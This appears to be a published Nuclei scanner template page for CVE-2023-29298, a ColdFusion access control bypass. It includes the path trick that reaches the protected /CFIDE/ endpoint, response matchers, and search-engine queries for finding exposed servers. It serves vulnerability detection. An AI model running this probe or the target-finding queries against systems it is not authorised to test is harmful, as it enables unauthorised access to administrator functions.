Adobe ColdFusion - Access Control Bypass

ID: CVE-2023-29298

Severity: high

Author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch

Tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev

Description

An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install.

YAML Source

id: CVE-2023-29298

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch
  severity: high
  description: |
    An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Apply the latest security patches or updates provided by Adobe to fix the access control bypass vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/XRSec/AWVS-Update
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29298
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.94803
    epss-percentile: 0.99269
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and
# digest: 4b0a004830460221009fd02b7f1abf1509ef4815aa04622b390597d5249f10d3ba3099ae559d34c457022100aebfe3557ea6399bb442097f3c0efe3e88a52590245a5bd40804c6cd74837566:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29298.yaml"

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